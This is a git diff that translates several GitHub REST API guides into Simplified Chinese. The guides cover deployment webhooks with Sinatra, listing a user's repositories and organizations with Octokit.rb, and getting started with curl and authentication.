+[部署 API][deploy API] 为您托管在 {% data variables.product.product_name %} 上的项目提供在您自己的服务器上启动它们的功能。 结合 [状态 API][status API]，您将能够在您的代码到达 `master` 时协调部署。
 
-This guide will use that API to demonstrate a setup that you can use.
-In our scenario, we will:
+本指南将使用该 API 来演示您可以使用的设置。 在我们的场景中，我们将：
 
-* Merge a pull request
-* When the CI is finished, we'll set the pull request's status accordingly.
-* When the pull request is merged, we'll run our deployment to our server.
+* 合并拉取请求
+* 在 CI 完成后，我们将相应地设置拉取请求的状态。
+* 合并拉取请求后，我们将在服务器上运行部署。
 
-Our CI system and host server will be figments of our imagination. They could be
-Heroku, Amazon, or something else entirely. The crux of this guide will be setting up
-and configuring the server managing the communication.
+我们的 CI 系统和主机服务器将是我们想象中的虚拟物。 它们可能是 Heroku、Amazon 或其他完全不同的工具。 本指南的重点是设置和配置负责管理通信的服务器。
 
-If you haven't already, be sure to [download ngrok][ngrok], and learn how
-to [use it][using ngrok]. We find it to be a very useful tool for exposing local
-connections.
+请务必[下载 ngrok][ngrok]（如果尚未下载），并了解如何[使用它][using ngrok]。 我们发现它在暴露本地连接方面是一款非常有用的工具。
 
-Note: you can download the complete source code for this project
-[from the platform-samples repo][platform samples].
+注：您可以[从平台样本仓库][platform samples]下载此项目的完整源代码。
 
-## Writing your server
+## 编写服务器
 
-We'll write a quick Sinatra app to prove that our local connections are working.
-Let's start with this:
+我们将编写一个快速的 Sinatra 应用程序，以证明我们的本地连接工作正常。 首先编写以下代码：
 
 ``` ruby
 require 'sinatra'
@@ -54,31 +44,21 @@ post '/event_handler' do
 end
 ```
 
-(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].)
+（如果您不熟悉 Sinatra 的工作方式，建议您阅读 [ Sinatra 指南][Sinatra]）。
 
-Start this server up. By default, Sinatra starts on port `4567`, so you'll want
-to configure ngrok to start listening for that, too.
+启动此服务器。 默认情况下，Sinatra 在端口 `4567` 上启动，因此您还需要配置 ngrok 开始监听。
 
-In order for this server to work, we'll need to set a repository up with a webhook.
-The webhook should be configured to fire whenever a pull request is created, or merged.
-Go ahead and create a repository you're comfortable playing around in. Might we
-suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)?
-After that, you'll create a new webhook in your repository, feeding it the URL
-that ngrok gave you, and choosing `application/x-www-form-urlencoded` as the
-content type:
+为了使此服务器正常工作，我们需要使用 web 挂钩来设置一个仓库。 Web 挂钩应配置为在创建或合并拉取请求时触发。 继续创建一个您可以自由支配的仓库。 我们可以推荐 [@octocat 的 Spoon/Knife 仓库](https://github.com/octocat/Spoon-Knife)吗？ 之后，您将在自己的仓库中创建新的 web 挂钩，向其馈送 ngrok 给您的 URL，并选择 `application/x-www-form-urlencoded` 作为内容类型：
 
-![A new ngrok URL](/assets/images/webhook_sample_url.png)
+![新的 ngrok URL](/assets/images/webhook_sample_url.png)
 
-Click **Update webhook**. You should see a body response of `Well, it worked!`.
-Great! Click on **Let me select individual events.**, and select the following:
+单击 **Update webhook**。 您应该会看到正文为 `Well, it worked!` 的响应。 太好了！ 单击 **Let me select individual events（让我选择单个事件）**，然后选择以下项：
 
-* Deployment
-* Deployment status
-* Pull Request
+* 部署
+* 部署状态
+* 拉取请求
 
-These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action
-occurs. We'll configure our server to *just* handle when pull requests are merged
-right now:
+在发生相关操作时，{% data variables.product.product_name %} 会将这些事件发送到我们的服务器。 我们将服务器配置为*仅*在合并拉取请求时立即处理：
 
 ``` ruby
 post '/event_handler' do
@@ -93,20 +73,15 @@ post '/event_handler' do
 end
 ```
 
-What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event`
-HTTP header. We'll only care about the PR events for now. When a pull request is
-merged (its state is `closed`, and `merged` is `true`), we'll kick off a deployment.
+发生了什么？ {% data variables.product.product_name %} 发送的每个事件都附有 `X-GitHub-Event` HTTP 标头。 我们现在只关注拉取请求事件。 当拉取请求被合并时（其状态为 `closed`，并且 `merged` 为 `true`），我们将启动部署。
 
-To test out this proof-of-concept, make some changes in a branch in your test
-repository, open a pull request, and merge it. Your server should respond accordingly!
+要测试此概念验证，请在测试仓库的分支中进行一些更改，打开拉取请求，然后合并它。 您的服务器应该会做出相应的响应！
 
-## Working with deployments
+## 处理部署
 
-With our server in place, the code being reviewed, and our pull request
-merged, we want our project to be deployed.
+服务器已就位，代码在接受审查，拉取请求已合并，现在我们需要部署项目。
 
-We'll start by modifying our event listener to process pull requests when they're
-merged, and start paying attention to deployments:
+我们将首先修改事件侦听器，以便在拉取请求被合并时对其进行处理，并开始关注部署：
 
 ``` ruby
 when "pull_request"
@@ -120,8 +95,7 @@ when "deployment_status"
 end
 ```
 
-Based on the information from the pull request, we'll start by filling out the
-`start_deployment` method:
+根据拉取请求中的信息，我们将首先填写 `start_deployment` 方法：
 
 ``` ruby
 def start_deployment(pull_request)
@@ -131,19 +105,13 @@ def start_deployment(pull_request)
 end
 ```
 
-Deployments can have some metadata attached to them, in the form of a `payload`
-and a `description`. Although these values are optional, it's helpful to use
-for logging and representing information.
+部署可以附加一些元数据，其形式为 `payload` 和 `description`。 尽管这些值是可选的，但对于记录和表示信息很有帮助。
 
-When a new deployment is created, a completely separate event is triggered. That's
-why we have a new `switch` case in the event handler for `deployment`. You can
-use this information to be notified when a deployment has been triggered.
+创建新部署时，将触发完全独立的事件。 因此我们的事件处理程序中有一个用于 `deployment` 的新 `switch` 单元。 在触发部署时，您可以根据此信息得到通知。
 
-Deployments can take a rather long time, so we'll want to listen for various events,
-such as when the deployment was created, and what state it's in.
+部署可能需要很长时间，因此我们需要侦听各种事件，例如，部署创建时间以及部署处于什么状态。
 
-Let's simulate a deployment that does some work, and notice the effect it has on
-the output. First, let's complete our `process_deployment` method:
+让我们模拟一个能够完成某些工作的部署，并注意它对输出的影响。 首先，我们来完成 `process_deployment` 方法：
 
 ``` ruby
 def process_deployment
@@ -157,7 +125,7 @@ def process_deployment
 end
 ```
 
-Finally, we'll simulate storing the status information as console output:
+最后，我们将模拟将状态信息存储为控制台输出：
 
 ``` ruby
 def update_deployment_status
@@ -165,27 +133,20 @@ def update_deployment_status
 end
 ```
 
-Let's break down what's going on. A new deployment is created by `start_deployment`,
-which triggers the `deployment` event. From there, we call `process_deployment`
-to simulate work that's going on. During that processing, we also make a call to
-`create_deployment_status`, which lets a receiver know what's going on, as we
-switch the status to `pending`.
+我们来分析一下发生了什么。 一个新的部署由 `start_support` 创建，它触发 `deployment` 事件。 我们从那里调用 `process_deployment` 来模拟正在进行的工作。 在处理过程中，我们还调用 `create_deployment_status`，当我们将状态切换到 `pending` 时，它让接收者知道发生了什么。
 
-After the deployment is finished, we set the status to `success`.
+部署完成后，我们将状态设置为 `success`。
 
-## Conclusion
+## 结论
 
-At GitHub, we've used a version of [Heaven][heaven] to manage
-our deployments for years. A common flow is essentially the same as the
-server we've built above:
+在 GitHub，我们多年来一直使用 [Heaven][heaven] 版本来管理部署。 共同流程本质上与我们上面构建的服务器基本相同：
 
-* Wait for a response on the state of the CI checks (success or failure)
-* If the required checks succeed, merge the pull request
-* Heaven takes the merged code, and deploys it to staging and production servers
-* In the meantime, Heaven also notifies everyone about the build, via [Hubot][hubot] sitting in our chat rooms
+* 等待 CI 检查状态的响应（成功或失败）
+* 如果所需的检查成功，则合并拉取请求
+* Heaven 提取合并的代码，并将其部署到暂存和生产服务器上
+* 同时。Heaven 还通过坐在我们聊天室中的 [Hubot][hubot] 通知所有人有关构建的信息
 
-That's it! You don't need to build your own deployment setup to use this example.
-You can always rely on [GitHub integrations][integrations].
+搞定！ 使用此示例并不需要构建自己的部署设置。 您始终可以依赖 [GitHub 集成][integrations]。
 
 [deploy API]: /rest/reference/repos#deployments
 [status API]: /guides/building-a-ci-server
@@ -193,11 +154,6 @@ You can always rely on [GitHub integrations][integrations].
 [using ngrok]: /webhooks/configuring/#using-ngrok
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/delivering-deployments
 [Sinatra]: http://www.sinatrarb.com/
-[webhook]: /webhooks/
-[octokit.rb]: https://github.com/octokit/octokit.rb
-[access token]: /articles/creating-an-access-token-for-command-line-use
-[travis api]: https://api.travis-ci.org/docs/
-[janky]: https://github.com/github/janky
 [heaven]: https://github.com/atmos/heaven
 [hubot]: https://github.com/github/hubot
 [integrations]: https://github.com/integrations
diff --git a/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md b/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md
index 11f6410042..7ba179781b 100644
--- a/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md
+++ b/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md
@@ -1,6 +1,6 @@
 ---
-title: Discovering resources for a user
-intro: Learn how to find the repositories and organizations that your app can access for a user in a reliable way for your authenticated requests to the REST API.
+title: 为用户发现资源
+intro: 了解如何通过向 REST API 发出经过身份验证的请求，找到您的应用程序能够为用户可靠地访问的仓库和组织。
 redirect_from:
   - /guides/discovering-resources-for-a-user
   - /v3/guides/discovering-resources-for-a-user
@@ -11,26 +11,26 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Discover resources for a user
+shortTitle: 为用户发现资源
 ---
 
 
 
-When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources.
+向 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 发出经过身份验证的请求时，应用程序通常需要获取当前用户的仓库和组织。 在本指南中，我们将介绍如何可靠地发现这些资源。
 
-To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. You can find the complete source code for this project in the [platform-samples][platform samples] repository.
+由于我们在与 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行交互，因此我们将使用 [Octokit.rb][octokit.rb]。 您可以在[平台样本][platform samples]仓库中找到此项目的完整源代码。
 
-## Getting started
+## 入门指南
 
-If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication] guide before working through the examples below. The examples below assume that you have [registered an OAuth application][register-oauth-app] and that your [application has an OAuth token for a user][make-authenticated-request-for-user].
+在完成以下示例之前，您应该阅读[“身份验证基础知识”][basics-of-authentication]指南（如果尚未阅读）。 下面的示例假定您[已注册 OAuth 应用程序][register-oauth-app]，并且您的[应用程序具有用户的 OAuth 令牌][make-authenticated-request-for-user]。
 
-## Discover the repositories that your app can access for a user
+## 发现您的应用程序能够为用户访问的仓库
 
-In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access.
+用户除了拥有他们自己的个人仓库之外，可能还是其他用户和组织所拥有仓库上的协作者。 Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access.
 
-[OAuth scopes][scopes] and [organization application policies][oap] determine which of those repositories your app can access for a user. Use the workflow below to discover those repositories.
+[OAuth 作用域][scopes]和[组织应用程序策略][oap]决定了您的应用程序可以为用户访问其中哪些仓库。 使用下面的工作流程来发现这些仓库。
 
-As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library. Then we'll configure Octokit.rb to automatically handle [pagination][pagination] for us.
+如往常一样，首先我们需要 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库。 然后我们将配置 Octoberkit.rb，使其为我们自动处理[分页][pagination]。
 
 ``` ruby
 require 'octokit'
@@ -38,7 +38,7 @@ require 'octokit'
 Octokit.auto_paginate = true
 ```
 
-Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user]:
+接下来，我们将[为给定用户传递应用程序的 OAuth 令牌][make-authenticated-request-for-user]。
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -46,7 +46,7 @@ Next, we'll pass in our application's [OAuth token for a given user][make-authen
 client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
 ```
 
-Then, we're ready to fetch the [repositories that our application can access for the user][list-repositories-for-current-user]:
+然后，我们可以获取[应用程序可以为用户访问的仓库][list-repositories-for-current-user]：
 
 ``` ruby
 client.repositories.each do |repository|
@@ -63,11 +63,11 @@ client.repositories.each do |repository|
 end
 ```
 
-## Discover the organizations that your app can access for a user
+## 发现您的应用程序能够为用户访问的组织
 
-Applications can perform all sorts of organization-related tasks for a user. To perform these tasks, the app needs an [OAuth authorization][scopes] with sufficient permission. For example, the `read:org` scope allows you to [list teams][list-teams], and the `user` scope lets you [publicize the user’s organization membership][publicize-membership]. Once a user has granted one or more of these scopes to your app, you're ready to fetch the user’s organizations.
+应用程序可以为用户执行各种与组织相关的任务。 要执行这些任务，应用程序需要具有足够权限的 [OAuth 授权][scopes]。 例如，`read:org` 作用域允许您[列出团队][list-teams]，`user` 作用域允许您[公开用户的组织成员身份][publicize-membership]。 一旦用户将其中一个或多个作用域授予您的应用程序，您就可以获取用户的组织。
 
-Just as we did when discovering repositories above, we'll start by requiring [GitHub's Octokit.rb][octokit.rb] Ruby library and configuring it to take care of [pagination][pagination] for us:
+与上述发现仓库的过程一样，我们首先需要 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库，并配置它为我们处理[分页][pagination]：
 
 ``` ruby
 require 'octokit'
@@ -75,7 +75,7 @@ require 'octokit'
 Octokit.auto_paginate = true
 ```
 
-Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user] to initialize our API client:
+接下来，我们将[为给定用户传递应用程序的 OAuth 令牌][make-authenticated-request-for-user]，以初始化 API 客户端：
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -83,7 +83,7 @@ Next, we'll pass in our application's [OAuth token for a given user][make-authen
 client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
 ```
 
-Then, we can [list the organizations that our application can access for the user][list-orgs-for-current-user]:
+然后，我们可以获取[应用程序可以为用户访问的组织][list-orgs-for-current-user]：
 
 ``` ruby
 client.organizations.each do |organization|
@@ -91,11 +91,11 @@ client.organizations.each do |organization|
 end
 ```
 
-### Return all of the user's organization memberships
+### 返回用户的所有组织成员资格
 
-If you've read the docs from cover to cover, you may have noticed an [API method for listing a user's public organization memberships][list-public-orgs]. Most applications should avoid this API method. This method only returns the user's public organization memberships, not their private organization memberships.
+如果您从头到尾阅读了文档，您可能会注意到一种[允许列出用户的公共组织成员身份的 API 方法][list-public-orgs]。 大多数应用程序应避免使用这种 API 方法。 此方法仅返回用户的公共组织成员身份，而不会返回其私有组织成员身份。
 
-As an application, you typically want all of the user's organizations that your app is authorized to access. The workflow above will give you exactly that.
+作为应用程序开发者，您通常希望您的应用程序被授权访问用户的所有组织。 上述工作流程恰好能满足您的要求。
 
 [basics-of-authentication]: /rest/guides/basics-of-authentication
 [list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user
@@ -103,10 +103,13 @@ As an application, you typically want all of the user's organizations that your
 [list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user
 [list-teams]: /rest/reference/teams#list-teams
 [make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests
+[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests
 [oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/
 [octokit.rb]: https://github.com/octokit/octokit.rb
+[octokit.rb]: https://github.com/octokit/octokit.rb
 [pagination]: /rest#pagination
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user
 [publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user
 [register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app
 [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
+[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
diff --git a/translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md b/translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md
index 4e6053352c..b6516ee114 100644
--- a/translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md
+++ b/translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with the REST API
-intro: 'Learn the foundations for using the REST API, starting with authentication and some endpoint examples.'
+title: REST API 入门指南
+intro: 从身份验证和一些端点示例开始，了解使用 REST API 的基础。
 redirect_from:
   - /guides/getting-started
   - /v3/guides/getting-started
@@ -11,28 +11,23 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Get started - REST API
+shortTitle: 开始 - REST API
 ---
 
 
-Let's walk through core API concepts as we tackle some everyday use cases.
+让我们逐步了解在处理一些日常用例时涉及的核心 API 概念。
 
 {% data reusables.rest-api.dotcom-only-guide-note %}
 
-## Overview
+## 概览
 
-Most applications will use an existing [wrapper library][wrappers] in the language
-of your choice, but it's important to familiarize yourself with the underlying API
-HTTP methods first.
+大多数应用程序将使用您选择的语言 中现有的 [wrapper 库][wrappers]，但您必须先熟悉基础 API HTTP 方法。
 
-There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using
-an alternative client, note that you are required to send a valid
-[User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %}
+没有比使用 [cURL][curl] 更容易的入手方式了。{% ifversion fpt or ghec %} 如果您使用其他客户的，请注意，您需要在请求中发送有效的 [用户代理标头](/rest/overview/resources-in-the-rest-api#user-agent-required)。{% endif %}
 
 ### Hello World
 
-Let's start by testing our setup. Open up a command prompt and enter the
-following command:
+让我们先测试设置。 打开命令提示符并输入以下命令：
 
 ```shell
 $ curl https://api.github.com/zen
@@ -40,9 +35,9 @@ $ curl https://api.github.com/zen
 > Keep it logically awesome.
 ```
 
-The response will be a random selection from our design philosophies.
+响应将是我们设计理念中的随机选择。
 
-Next, let's `GET` [Chris Wanstrath's][defunkt github] [GitHub profile][users api]:
+接下来，我们 `GET` [Chris Wanstrath 的][defunkt github] [GitHub 资料][users api]：
 
 ```shell
 # GET /users/defunkt
@@ -60,7 +55,7 @@ $ curl https://api.github.com/users/defunkt
 > }
 ```
 
-Mmmmm, tastes like [JSON][json]. Let's add the `-i` flag to include headers:
+嗯，有点像 [JSON][json]。 我们来添加 `-i` 标志以包含标头：
 
 ```shell
 $ curl -i https://api.github.com/users/defunkt
@@ -104,75 +99,64 @@ $ curl -i https://api.github.com/users/defunkt
 > }
 ```
 
-There are a few interesting bits in the response headers. As expected, the
-`Content-Type` is `application/json`.
+响应标头中有一些有趣的地方。 果然，`Content-Type` 为 `application/json`。
 
-Any headers beginning with `X-` are custom headers, and are not included in the
-HTTP spec. For example:
+任何以 `X-` 开头的标头都是自定义标头，不包含在 HTTP 规范中。 例如：
 
-* `X-GitHub-Media-Type` has a value of `github.v3`. This lets us know the [media type][media types]
-for the response. Media types have helped us version our output in API v3. We'll
-talk more about that later.
-* Take note of the `X-RateLimit-Limit` and `X-RateLimit-Remaining` headers. This
-pair of headers indicate [how many requests a client can make][rate-limiting] in
-a rolling time period (typically an hour) and how many of those requests the
-client has already spent.
+* `X-GitHub-Media-Type` 的值为 `github.v3`。 这让我们知道响应的[媒体类型][media types]。 媒体类型帮助我们在 API v3 中对输出进行版本控制。 我们稍后再详细讨论。
+* 请注意 `X-RateLimit-Limit` 和 `X-RateLimit-Remaining` 标头。 这对标头指示在滚动时间段（通常为一小时）内[一个客户端可以发出多少个请求][rate-limiting]，以及该客户端已使用多少个此类请求。
 
-## Authentication
+## 身份验证
 
-Unauthenticated clients can make 60 requests per hour. To get more requests per hour, we'll need to
-_authenticate_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires
-[authentication][authentication].
+未经身份验证的客户端每小时可以发出 60 个请求。 要每小时发出更多请求，我们需要进行_身份验证_。 事实上，使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行任何交互都需要[身份验证][authentication]。
 
-### Using personal access tokens
+### 使用个人访问令牌
 
-The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuth tokens include [personal access tokens][personal token].
+使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行身份验证的最简单和最佳的方式是[通过 OAuth 令牌](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens)使用基本身份验证。 OAuth 令牌包括[个人访问令牌][personal token]。
 
-Use a `-u` flag to set your username:
+使用 `-u` 标志设置您的用户名：
 
 ```shell
 $ curl -i -u <em>your_username</em> {% data variables.product.api_url_pre %}/users/octocat
 
 ```
 
-When prompted, you can enter your OAuth token, but we recommend you set up a variable for it:
+出现提示时，您可以输入 OAuth 令牌，但我们建议您为它设置一个变量：
 
-You can use `-u "your_username:$token"` and set up a variable for `token` to avoid leaving your token in shell history, which should be avoided.
+您可以使用 `-u "your_username:$token"` 并为 `token` 设置一个变量，以避免您的令牌留在 shell 历史记录中，这种情况应尽量避免。
 
 ```shell
 $ curl -i -u <em>your_username:$token</em> {% data variables.product.api_url_pre %}/users/octocat
 
 ```
 
-When authenticating, you should see your rate limit bumped to 5,000 requests an hour, as indicated in the `X-RateLimit-Limit` header. In addition to providing more calls per hour, authentication enables you to read and write private information using the API.
+进行身份验证时，您应该会看到您的速率限制达到每小时 5,000 个请求，如 `X-RateLimit-Limit` 标头中所示。 除了每小时提供更多调用次数之外，身份验证还使您能够使用 API 读取和写入私有信息。
 
-You can easily [create a **personal access token**][personal token] using your [Personal access tokens settings page][tokens settings]:
+您可以使用[个人访问令牌设置页面][tokens settings]轻松[创建**个人访问令牌**][personal token]。
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %}
 {% warning %}
 
-To help keep your information secure, we highly recommend setting an expiration for your personal access tokens.
+为了帮助保护您的信息安全，我们强烈建议为您的个人访问令牌设置一个到期日。
 
 {% endwarning %}
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-![Personal Token selection](/assets/images/personal_token.png)
+![个人令牌选择](/assets/images/personal_token.png)
 {% endif %}
 
 {% ifversion ghae %}
-![Personal Token selection](/assets/images/help/personal_token_ghae.png)
+![个人令牌选择](/assets/images/help/personal_token_ghae.png)
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4374 or ghec %}
-API requests using an expiring personal access token will return that token's expiration date via the `GitHub-Authentication-Token-Expiration` header. You can use the header in your scripts to provide a warning message when the token is close to its expiration date.
+使用到期的个人访问令牌的 API 请求将通过 `GitHub-Authentication-Token-Expiration` 标头返回该令牌的到期日期。 当令牌接近其过期日期时，您可以使用脚本中的标头来提供警告信息。
 {% endif %}
 
-### Get your own user profile
+### 获取自己的用户个人资料
 
-When properly authenticated, you can take advantage of the permissions
-associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For example, try getting
-[your own user profile][auth user api]:
+在正确验证身份后，您可以利用与 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户相关的权限。 。 例如，尝试获取
 
 ```shell
 $ curl -i -u <em>your_username</em>:<em>your_token</em> {% data variables.product.api_url_pre %}/user
@@ -189,89 +173,72 @@ $ curl -i -u <em>your_username</em>:<em>your_token</em> {% data variables.produc
 > }
 ```
 
-This time, in addition to the same set of public information we
-retrieved for [@defunkt][defunkt github] earlier, you should also see the non-public information for your user profile. For example, you'll see a `plan` object in the response which gives details about the {% data variables.product.product_name %} plan for the account.
+此时，除了先前为 [@defunkt][defunkt github] 检索到的公共信息集之外，您还可以查看您的用户个人资料的非公共信息。 例如，您将在响应中看到 `plan` 对象，它提供有关帐户的 {% data variables.product.product_name %} 计划的详细信息。
 
-### Using OAuth tokens for apps
+### 对应用程序使用 OAuth 令牌
 
-Apps that need to read or write private information using the API on behalf of another user should use [OAuth][oauth].
+需要代表其他用户使用 API 读取或写入私有信息的应用程序应使用 [OAuth][oauth]。
 
-OAuth uses _tokens_. Tokens provide two big features:
+OAuth 使用_令牌_。 令牌具有两大特点：
 
-* **Revokable access**: users can revoke authorization to third party apps at any time
-* **Limited access**: users can review the specific access that a token
-  will provide before authorizing a third party app
+* **可撤销访问权限**：用户可以随时撤销对第三方应用程序的授权
+* **有限访问权限**：用户可以在授权第三方应用程序前审查令牌将提供的具体访问权限。
 
-Tokens should be created via a [web flow][webflow]. An application
-sends users to {% data variables.product.product_name %} to log in. {% data variables.product.product_name %} then presents a dialog
-indicating the name of the app, as well as the level of access the app
-has once it's authorized by the user. After a user authorizes access, {% data variables.product.product_name %}
-redirects the user back to the application:
+令牌应通过 [web 工作流程][webflow]进行创建。 应用程序将用户发送到 {% data variables.product.product_name %} 进行登录。 {% data variables.product.product_name %} 随后显示一个对话框，指示应用程序的名称以及应用程序经用户授权后具有的权限级别。 经用户授权访问后，{% data variables.product.product_name %} 将用户重定向到应用程序：
 
-![GitHub's OAuth Prompt](/assets/images/oauth_prompt.png)
+![GitHub 的 OAuth 提示](/assets/images/oauth_prompt.png)
 
-**Treat OAuth tokens like passwords!** Don't share them with other users or store
-them in insecure places. The tokens in these examples are fake and the names have
-been changed to protect the innocent.
+**像对待密码一样对待 OAuth 令牌！**不要与其他用户共享它们，也不要将其存储在不安全的地方。 这些示例中的令牌是假的，并且更改了名称以免波及无辜。
 
-Now that we've got the hang of making authenticated calls, let's move along to
-the [Repositories API][repos-api].
+现在我们已经掌握了进行身份验证的调用，接下来我们介绍[仓库 API][repos-api]。
 
-## Repositories
+## 仓库
 
-Almost any meaningful use of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API will involve some level of Repository
-information. We can [`GET` repository details][get repo] in the same way we fetched user
-details earlier:
+几乎任何有意义的 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 使用都会涉及某种级别的仓库信息。 信息。 我们可以像之前获取用户详细信息一样 [`GET` 仓库详细信息][get repo]：
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/repos/twbs/bootstrap
 ```
 
-In the same way, we can [view repositories for the authenticated user][user repos api]:
+同样，我们可以查看[经身份验证用户的仓库][user repos api]：
 
 ```shell
 $ curl -i -H "Authorization: token {% ifversion fpt or ghes > 3.1 or ghae or ghec %}ghp_16C7e42F292c6912E7710c838347Ae178B4a{% else %}5199831f4dd3b79e7c5b7e0ebe75d67aa66e79d4{% endif %}" \
     {% data variables.product.api_url_pre %}/user/repos
 ```
 
-Or, we can [list repositories for another user][other user repos api]:
+或者，我们可以[列出其他用户的仓库][other user repos api]：
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/users/octocat/repos
 ```
 
-Or, we can [list repositories for an organization][org repos api]:
+或者，我们可以[列出组织的仓库][org repos api]：
 
 ```shell
 $ curl -i {% data variables.product.api_url_pre %}/orgs/octo-org/repos
 ```
 
-The information returned from these calls will depend on which scopes our token has when we authenticate:
+从这些调用返回的信息将取决于我们进行身份验证时令牌所具有的作用域：
 
 {%- ifversion fpt or ghec or ghes %}
 * A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on {% data variables.product.product_location %}.
 {%- endif %}
 * A token with `repo` [scope][scopes] returns a response that includes all {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories we have access to see on {% data variables.product.product_location %}.
 
-As the [docs][repos-api] indicate, these methods take a `type` parameter that
-can filter the repositories returned based on what type of access the user has
-for the repository. In this way, we can fetch only directly-owned repositories,
-organization repositories, or repositories the user collaborates on via a team.
+如[文档][repos-api]所示，这些方法采用 `type` 参数，可根据用户对仓库的访问权限类型来过滤返回的仓库。 这样，我们可以只获取直接拥有的仓库、组织仓库或用户通过团队进行协作的仓库。
 
 ```shell
 $ curl -i "{% data variables.product.api_url_pre %}/users/octocat/repos?type=owner"
 ```
 
-In this example, we grab only those repositories that octocat owns, not the
-ones on which she collaborates. Note the quoted URL above. Depending on your
-shell setup, cURL sometimes requires a quoted URL or else it ignores the
-query string.
+在此示例中，我们只获取 octocat 拥有的仓库，而没有获取她协作的仓库。 请注意上面的引用 URL。 根据您的 shell 设置，cURL 有时需要一个引用 URL，否则它会忽略查询字符串。
 
-### Create a repository
+### 创建仓库
 
-Fetching information for existing repositories is a common use case, but the
-{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API supports creating new repositories as well. To [create a repository][create repo],
-we need to `POST` some JSON containing the details and configuration options.
+获取现有仓库的信息是一种常见的用例，但
+{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 也支持创建新的仓库。 要[创建仓库][create repo]，
